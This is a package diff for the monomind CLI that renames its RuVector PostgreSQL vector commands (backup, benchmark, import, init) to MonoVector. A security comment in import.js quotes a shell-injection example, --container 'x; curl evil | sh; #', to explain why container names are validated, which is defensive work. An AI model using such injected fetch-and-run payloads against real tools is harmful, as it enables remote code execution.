monomind 1.10.56 → 1.11.0

package/packages/@monomind/cli/dist/src/commands/{ruvector → monovector}/backup.js

@@ -1,6 +1,6 @@
 /**
- * CLI RuVector Backup Command
- * Backup and restore for RuVector PostgreSQL data
+ * CLI MonoVector Backup Command
+ * Backup and restore for MonoVector PostgreSQL data
  */
 import { output } from '../../output.js';
 import { confirm, input } from '../../prompt.js';
@@ -30,11 +30,11 @@ function formatBytes(bytes) {
     return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
 }
 /**
- * RuVector backup subcommand
+ * MonoVector backup subcommand
  */
 const backupSubcommand = {
     name: 'create',
-    description: 'Create a backup of RuVector data',
+    description: 'Create a backup of MonoVector data',
     options: [
         {
             name: 'output',
@@ -116,9 +116,9 @@ const backupSubcommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector backup create -o backup.sql', description: 'Create SQL backup' },
-        { command: 'monomind ruvector backup create -o backup.json --format json', description: 'Create JSON backup' },
-        { command: 'monomind ruvector backup create -o backup.sql.gz --compress', description: 'Compressed backup' },
+        { command: 'monomind monovector backup create -o backup.sql', description: 'Create SQL backup' },
+        { command: 'monomind monovector backup create -o backup.json --format json', description: 'Create JSON backup' },
+        { command: 'monomind monovector backup create -o backup.sql.gz --compress', description: 'Compressed backup' },
     ],
     action: async (ctx) => {
         const config = getConnectionConfig(ctx);
@@ -128,7 +128,7 @@ const backupSubcommand = {
         const compress = ctx.flags.compress;
         const includeIndexes = ctx.flags['include-indexes'] !== false;
         output.writeln();
-        output.writeln(output.bold('RuVector Backup'));
+        output.writeln(output.bold('MonoVector Backup'));
         output.writeln(output.dim('='.repeat(60)));
         output.writeln();
         if (!config.database) {
@@ -139,7 +139,7 @@ const backupSubcommand = {
         if (!outputPath && ctx.interactive) {
             outputPath = await input({
                 message: 'Output file path:',
-                default: `ruvector_backup_${new Date().toISOString().split('T')[0]}.${format}`,
+                default: `monovector_backup_${new Date().toISOString().split('T')[0]}.${format}`,
                 validate: (v) => v.length > 0 || 'Output path is required',
             });
         }
@@ -252,7 +252,7 @@ const backupSubcommand = {
             if (format === 'sql') {
                 // Generate SQL format
                 const lines = [];
-                lines.push(`-- RuVector Backup`);
+                lines.push(`-- MonoVector Backup`);
                 lines.push(`-- Generated: ${backupData.metadata.backupDate}`);
                 lines.push(`-- Database: ${config.database}`);
                 lines.push(`-- Schema: ${config.schema}`);
@@ -357,11 +357,11 @@ const backupSubcommand = {
     },
 };
 /**
- * RuVector restore subcommand
+ * MonoVector restore subcommand
  */
 const restoreSubcommand = {
     name: 'restore',
-    description: 'Restore RuVector data from backup',
+    description: 'Restore MonoVector data from backup',
     options: [
         {
             name: 'input',
@@ -428,9 +428,9 @@ const restoreSubcommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector backup restore -i backup.sql', description: 'Restore from SQL backup' },
-        { command: 'monomind ruvector backup restore -i backup.json --clean', description: 'Clean restore' },
-        { command: 'monomind ruvector backup restore -i backup.sql --dry-run', description: 'Preview restore' },
+        { command: 'monomind monovector backup restore -i backup.sql', description: 'Restore from SQL backup' },
+        { command: 'monomind monovector backup restore -i backup.json --clean', description: 'Clean restore' },
+        { command: 'monomind monovector backup restore -i backup.sql --dry-run', description: 'Preview restore' },
     ],
     action: async (ctx) => {
         const config = getConnectionConfig(ctx);
@@ -438,7 +438,7 @@ const restoreSubcommand = {
         const clean = ctx.flags.clean;
         const dryRun = ctx.flags['dry-run'];
         output.writeln();
-        output.writeln(output.bold('RuVector Restore'));
+        output.writeln(output.bold('MonoVector Restore'));
         output.writeln(output.dim('='.repeat(60)));
         output.writeln();
         if (!config.database) {
@@ -659,11 +659,11 @@ const restoreSubcommand = {
     },
 };
 /**
- * RuVector backup main command
+ * MonoVector backup main command
  */
 export const backupCommand = {
     name: 'backup',
-    description: 'Backup and restore RuVector data',
+    description: 'Backup and restore MonoVector data',
     subcommands: [backupSubcommand, restoreSubcommand],
     options: [
         {
@@ -712,19 +712,19 @@ export const backupCommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector backup create -o backup.sql', description: 'Create backup' },
-        { command: 'monomind ruvector backup restore -i backup.sql', description: 'Restore backup' },
+        { command: 'monomind monovector backup create -o backup.sql', description: 'Create backup' },
+        { command: 'monomind monovector backup restore -i backup.sql', description: 'Restore backup' },
     ],
     action: async (ctx) => {
         output.writeln();
-        output.writeln(output.bold('RuVector Backup'));
+        output.writeln(output.bold('MonoVector Backup'));
         output.writeln(output.dim('='.repeat(60)));
         output.writeln();
         output.printBox([
-            'RuVector Backup provides data backup and restore capabilities:',
+            'MonoVector Backup provides data backup and restore capabilities:',
             '',
-            '  create   Create a backup of RuVector data',
-            '  restore  Restore RuVector data from backup',
+            '  create   Create a backup of MonoVector data',
+            '  restore  Restore MonoVector data from backup',
             '',
             'Supported formats:',
             '  SQL   - PostgreSQL-compatible SQL statements',
@@ -738,7 +738,7 @@ export const backupCommand = {
             '  - Incremental restore',
         ].join('\n'), 'Backup Commands');
         output.writeln();
-        output.printInfo('Run `monomind ruvector backup <command> --help` for details');
+        output.printInfo('Run `monomind monovector backup <command> --help` for details');
         return { success: true };
     },
 };

package/packages/@monomind/cli/dist/src/commands/monovector/benchmark.d.ts

@@ -0,0 +1,11 @@
+/**
+ * CLI MonoVector Benchmark Command
+ * Performance benchmarking for MonoVector PostgreSQL Bridge
+ */
+import type { Command } from '../../types.js';
+/**
+ * MonoVector benchmark command
+ */
+export declare const benchmarkCommand: Command;
+export default benchmarkCommand;
+//# sourceMappingURL=benchmark.d.ts.map

package/packages/@monomind/cli/dist/src/commands/{ruvector → monovector}/benchmark.js

@@ -1,6 +1,6 @@
 /**
- * CLI RuVector Benchmark Command
- * Performance benchmarking for RuVector PostgreSQL Bridge
+ * CLI MonoVector Benchmark Command
+ * Performance benchmarking for MonoVector PostgreSQL Bridge
  */
 import { output } from '../../output.js';
 import { confirm } from '../../prompt.js';
@@ -38,7 +38,7 @@ function percentile(sortedArr, p) {
     return sortedArr[Math.max(0, index)];
 }
 /**
- * RuVector benchmark command
+ * MonoVector benchmark command
  */
 export const benchmarkCommand = {
     name: 'benchmark',
@@ -144,10 +144,10 @@ export const benchmarkCommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector benchmark', description: 'Run default benchmark' },
-        { command: 'monomind ruvector benchmark --vectors 50000', description: 'Benchmark with 50k vectors' },
-        { command: 'monomind ruvector benchmark --index ivfflat', description: 'Test IVFFlat index' },
-        { command: 'monomind ruvector benchmark --dimensions 768 --metric l2', description: 'Custom dimensions and metric' },
+        { command: 'monomind monovector benchmark', description: 'Run default benchmark' },
+        { command: 'monomind monovector benchmark --vectors 50000', description: 'Benchmark with 50k vectors' },
+        { command: 'monomind monovector benchmark --index ivfflat', description: 'Test IVFFlat index' },
+        { command: 'monomind monovector benchmark --dimensions 768 --metric l2', description: 'Custom dimensions and metric' },
     ],
     action: async (ctx) => {
         const config = getConnectionConfig(ctx);
@@ -160,7 +160,7 @@ export const benchmarkCommand = {
         const batchSize = parseInt(ctx.flags['batch-size'] || '1000', 10);
         const cleanup = ctx.flags.cleanup !== false;
         output.writeln();
-        output.writeln(output.bold('RuVector Performance Benchmark'));
+        output.writeln(output.bold('MonoVector Performance Benchmark'));
         output.writeln(output.dim('='.repeat(60)));
         output.writeln();
         if (!config.database) {
@@ -225,13 +225,13 @@ export const benchmarkCommand = {
             });
             await client.connect();
             spinner.succeed('Connected to PostgreSQL');
-            // Detect vector extension type: prefer ruvector, fall back to pgvector
+            // Detect vector extension type: prefer monovector, fall back to pgvector
             let vectorTypeName = 'vector';
-            const ruvectorCheck = await client.query(`
-        SELECT extname FROM pg_extension WHERE extname = 'ruvector'
+            const monovectorCheck = await client.query(`
+        SELECT extname FROM pg_extension WHERE extname = 'monovector'
       `);
-            if (ruvectorCheck.rows.length > 0) {
-                vectorTypeName = 'ruvector';
+            if (monovectorCheck.rows.length > 0) {
+                vectorTypeName = 'monovector';
             }
             // Create benchmark table
             const benchmarkTable = `${config.schema}.benchmark_${Date.now()}`;
@@ -278,7 +278,7 @@ export const benchmarkCommand = {
                 spinner.setText(`Creating ${indexType.toUpperCase()} index...`);
                 spinner.start();
                 const indexStart = Date.now();
-                const opsPrefix = vectorTypeName === 'ruvector' ? 'ruvector' : 'vector';
+                const opsPrefix = vectorTypeName === 'monovector' ? 'monovector' : 'vector';
                 const metricOp = metric === 'cosine' ? `${opsPrefix}_cosine_ops` :
                     metric === 'l2' ? `${opsPrefix}_l2_ops` : `${opsPrefix}_ip_ops`;
                 if (indexType === 'hnsw') {

package/packages/@monomind/cli/dist/src/commands/monovector/import.d.ts

@@ -0,0 +1,18 @@
+/**
+ * CLI MonoVector Import Command
+ * Import data from sql.js/JSON memory to MonoVector PostgreSQL
+ *
+ * Usage:
+ *   npx monomind monovector import --input memory-export.json
+ *   npx monomind monovector import --from-memory
+ *   npx monomind monovector import --input data.json --batch-size 100
+ *
+ * https://github.com/nokhodian/monomind
+ */
+import type { Command } from '../../types.js';
+/**
+ * MonoVector Import command - import from sql.js/JSON to PostgreSQL
+ */
+export declare const importCommand: Command;
+export default importCommand;
+//# sourceMappingURL=import.d.ts.map

package/packages/@monomind/cli/dist/src/commands/{ruvector → monovector}/import.js

@@ -1,11 +1,11 @@
 /**
- * CLI RuVector Import Command
- * Import data from sql.js/JSON memory to RuVector PostgreSQL
+ * CLI MonoVector Import Command
+ * Import data from sql.js/JSON memory to MonoVector PostgreSQL
  *
  * Usage:
- *   npx monomind ruvector import --input memory-export.json
- *   npx monomind ruvector import --from-memory
- *   npx monomind ruvector import --input data.json --batch-size 100
+ *   npx monomind monovector import --input memory-export.json
+ *   npx monomind monovector import --from-memory
+ *   npx monomind monovector import --input data.json --batch-size 100
  *
  * https://github.com/nokhodian/monomind
  */
@@ -13,7 +13,7 @@ import { output } from '../../output.js';
 import * as fs from 'fs';
 import * as path from 'path';
 /**
- * Format a ruvector embedding array for PostgreSQL
+ * Format a monovector embedding array for PostgreSQL
  */
 function formatEmbedding(embedding, dimensions = 384) {
     // Ensure correct dimensions by padding or truncating
@@ -24,7 +24,7 @@ function formatEmbedding(embedding, dimensions = 384) {
     if (padded.length > dimensions) {
         padded.length = dimensions;
     }
-    return `'[${padded.join(',')}]'::ruvector(${dimensions})`;
+    return `'[${padded.join(',')}]'::monovector(${dimensions})`;
 }
 /**
  * Escape string for PostgreSQL
@@ -63,11 +63,11 @@ ON CONFLICT (key, namespace) DO UPDATE SET
   updated_at = NOW();`;
 }
 /**
- * RuVector Import command - import from sql.js/JSON to PostgreSQL
+ * MonoVector Import command - import from sql.js/JSON to PostgreSQL
  */
 export const importCommand = {
     name: 'import',
-    description: 'Import data from sql.js/JSON memory to RuVector PostgreSQL',
+    description: 'Import data from sql.js/JSON memory to MonoVector PostgreSQL',
     aliases: ['load', 'migrate-data'],
     options: [
         {
@@ -133,7 +133,7 @@ export const importCommand = {
             short: 'c',
             description: 'Docker container name to exec into',
             type: 'string',
-            default: 'ruvector-postgres',
+            default: 'monovector-postgres',
         },
         {
             name: 'verbose',
@@ -144,17 +144,17 @@ export const importCommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector import --input memory-export.json', description: 'Import from JSON file' },
-        { command: 'monomind ruvector import --input data.json --output import.sql', description: 'Generate SQL file (dry-run)' },
-        { command: 'monomind ruvector import --from-memory', description: 'Export current memory and import' },
-        { command: 'monomind ruvector import --input data.json --container my-postgres', description: 'Import using custom container' },
+        { command: 'monomind monovector import --input memory-export.json', description: 'Import from JSON file' },
+        { command: 'monomind monovector import --input data.json --output import.sql', description: 'Generate SQL file (dry-run)' },
+        { command: 'monomind monovector import --from-memory', description: 'Export current memory and import' },
+        { command: 'monomind monovector import --input data.json --container my-postgres', description: 'Import using custom container' },
     ],
     action: async (ctx) => {
         const inputFile = ctx.flags.input;
         const fromMemory = ctx.flags['from-memory'];
         const outputFile = ctx.flags.output;
         const batchSize = ctx.flags['batch-size'] || 100;
-        const containerName = ctx.flags.container || 'ruvector-postgres';
+        const containerName = ctx.flags.container || 'monovector-postgres';
         // SECURITY: containerName is interpolated into shell commands below.
         // Without validation, --container 'x; curl evil | sh; #' becomes a shell
         // metachar payload. Validate against Docker's documented container-name
@@ -165,7 +165,7 @@ export const importCommand = {
         }
         const verbose = ctx.flags.verbose;
         output.writeln();
-        output.writeln(output.bold('RuVector PostgreSQL Import'));
+        output.writeln(output.bold('MonoVector PostgreSQL Import'));
         output.writeln(output.dim('='.repeat(50)));
         output.writeln();
         // Validate input
@@ -173,8 +173,8 @@ export const importCommand = {
             output.printError('Either --input <file> or --from-memory is required');
             output.writeln();
             output.printInfo('Examples:');
-            output.writeln('  monomind ruvector import --input memory-export.json');
-            output.writeln('  monomind ruvector import --from-memory');
+            output.writeln('  monomind monovector import --input memory-export.json');
+            output.writeln('  monomind monovector import --from-memory');
             return { success: false, message: 'Missing input source' };
         }
         let entries = [];
@@ -217,7 +217,7 @@ export const importCommand = {
         if (fromMemory) {
             output.printInfo('Exporting from current Monomind memory...');
             output.printWarning('Note: Run "npx monomind memory list --format json > memory-export.json" first');
-            output.printInfo('Then use: npx monomind ruvector import --input memory-export.json');
+            output.printInfo('Then use: npx monomind monovector import --input memory-export.json');
             return { success: false, message: 'Use explicit JSON export first' };
         }
         if (entries.length === 0) {
@@ -235,7 +235,7 @@ export const importCommand = {
         };
         // Generate SQL statements
         const sqlStatements = [];
-        sqlStatements.push('-- RuVector PostgreSQL Import');
+        sqlStatements.push('-- MonoVector PostgreSQL Import');
         sqlStatements.push(`-- Generated: ${new Date().toISOString()}`);
         sqlStatements.push(`-- Total entries: ${entries.length}`);
         sqlStatements.push('');
@@ -288,7 +288,7 @@ export const importCommand = {
             output.printInfo(`Importing to PostgreSQL via container: ${containerName}`);
             output.writeln();
             // Write to temp file for execution
-            const tempFile = path.join(process.cwd(), '.ruvector-import-temp.sql');
+            const tempFile = path.join(process.cwd(), '.monovector-import-temp.sql');
             try {
                 fs.writeFileSync(tempFile, fullSQL);
                 output.printInfo('Executing import...');

package/packages/@monomind/cli/dist/src/commands/{ruvector → monovector}/index.d.ts

@@ -1,9 +1,9 @@
 /**
- * CLI RuVector PostgreSQL Bridge Command
- * Management commands for RuVector PostgreSQL integration
+ * CLI MonoVector PostgreSQL Bridge Command
+ * Management commands for MonoVector PostgreSQL integration
  *
  * Features:
- * - ruvector/pgvector integration for vector operations
+ * - monovector/pgvector integration for vector operations
  * - Attention mechanism embeddings
  * - Graph Neural Network support
  * - Hyperbolic embeddings (Poincare ball)
@@ -14,10 +14,10 @@
  */
 import type { Command } from '../../types.js';
 /**
- * RuVector PostgreSQL Bridge main command
+ * MonoVector PostgreSQL Bridge main command
  */
-export declare const ruvectorCommand: Command;
-export default ruvectorCommand;
+export declare const monovectorCommand: Command;
+export default monovectorCommand;
 export { initCommand } from './init.js';
 export { setupCommand } from './setup.js';
 export { importCommand } from './import.js';

package/packages/@monomind/cli/dist/src/commands/{ruvector → monovector}/index.js

@@ -1,9 +1,9 @@
 /**
- * CLI RuVector PostgreSQL Bridge Command
- * Management commands for RuVector PostgreSQL integration
+ * CLI MonoVector PostgreSQL Bridge Command
+ * Management commands for MonoVector PostgreSQL integration
  *
  * Features:
- * - ruvector/pgvector integration for vector operations
+ * - monovector/pgvector integration for vector operations
  * - Attention mechanism embeddings
  * - Graph Neural Network support
  * - Hyperbolic embeddings (Poincare ball)
@@ -23,11 +23,11 @@ import { backupCommand } from './backup.js';
 import { setupCommand } from './setup.js';
 import { importCommand } from './import.js';
 /**
- * RuVector PostgreSQL Bridge main command
+ * MonoVector PostgreSQL Bridge main command
  */
-export const ruvectorCommand = {
-    name: 'ruvector',
-    description: 'RuVector PostgreSQL Bridge management',
+export const monovectorCommand = {
+    name: 'monovector',
+    description: 'MonoVector PostgreSQL Bridge management',
     aliases: ['rv', 'pgvector'],
     subcommands: [
         initCommand,
@@ -75,25 +75,25 @@ export const ruvectorCommand = {
         },
     ],
     examples: [
-        { command: 'monomind ruvector setup', description: 'Output Docker files and SQL for setup' },
-        { command: 'monomind ruvector import --input memory.json', description: 'Import from sql.js/JSON export' },
-        { command: 'monomind ruvector init --database mydb', description: 'Initialize RuVector in PostgreSQL' },
-        { command: 'monomind ruvector status --verbose', description: 'Check connection and schema status' },
-        { command: 'monomind ruvector migrate --up', description: 'Run pending migrations' },
-        { command: 'monomind ruvector benchmark --vectors 10000', description: 'Run performance benchmark' },
-        { command: 'monomind ruvector optimize --analyze', description: 'Analyze and suggest optimizations' },
-        { command: 'monomind ruvector backup --output backup.sql', description: 'Backup RuVector data' },
+        { command: 'monomind monovector setup', description: 'Output Docker files and SQL for setup' },
+        { command: 'monomind monovector import --input memory.json', description: 'Import from sql.js/JSON export' },
+        { command: 'monomind monovector init --database mydb', description: 'Initialize MonoVector in PostgreSQL' },
+        { command: 'monomind monovector status --verbose', description: 'Check connection and schema status' },
+        { command: 'monomind monovector migrate --up', description: 'Run pending migrations' },
+        { command: 'monomind monovector benchmark --vectors 10000', description: 'Run performance benchmark' },
+        { command: 'monomind monovector optimize --analyze', description: 'Analyze and suggest optimizations' },
+        { command: 'monomind monovector backup --output backup.sql', description: 'Backup MonoVector data' },
     ],
     action: async (ctx) => {
         // Default action: show help/status overview
         output.writeln();
-        output.writeln(output.bold('RuVector PostgreSQL Bridge'));
+        output.writeln(output.bold('MonoVector PostgreSQL Bridge'));
         output.writeln(output.dim('='.repeat(60)));
         output.writeln();
         output.printBox([
-            'RuVector provides PostgreSQL integration for Monomind with:',
+            'MonoVector provides PostgreSQL integration for Monomind with:',
             '',
-            '  - ruvector/pgvector extension for vector operations',
+            '  - monovector/pgvector extension for vector operations',
             '  - Attention mechanism embeddings',
             '  - Graph Neural Network (GNN) support',
             '  - Hyperbolic embeddings (Poincare ball model)',
@@ -103,20 +103,20 @@ export const ruvectorCommand = {
             '',
             '  setup      Output Docker files and SQL for setup',
             '  import     Import from sql.js/JSON to PostgreSQL',
-            '  init       Initialize RuVector in PostgreSQL',
+            '  init       Initialize MonoVector in PostgreSQL',
             '  migrate    Run database migrations',
             '  status     Check connection and schema status',
             '  benchmark  Run performance benchmarks',
             '  optimize   Analyze and optimize performance',
             '  backup     Backup and restore data',
-        ].join('\n'), 'RuVector PostgreSQL Bridge');
+        ].join('\n'), 'MonoVector PostgreSQL Bridge');
         output.writeln();
-        output.printInfo('Run `monomind ruvector <command> --help` for details');
+        output.printInfo('Run `monomind monovector <command> --help` for details');
         output.writeln();
         return { success: true };
     },
 };
-export default ruvectorCommand;
+export default monovectorCommand;
 // Re-export subcommands for direct access
 export { initCommand } from './init.js';
 export { setupCommand } from './setup.js';

package/packages/@monomind/cli/dist/src/commands/monovector/init.d.ts

@@ -0,0 +1,11 @@
+/**
+ * CLI MonoVector Init Command
+ * Initialize MonoVector PostgreSQL Bridge
+ */
+import type { Command } from '../../types.js';
+/**
+ * Initialize MonoVector in PostgreSQL
+ */
+export declare const initCommand: Command;
+export default initCommand;
+//# sourceMappingURL=init.d.ts.map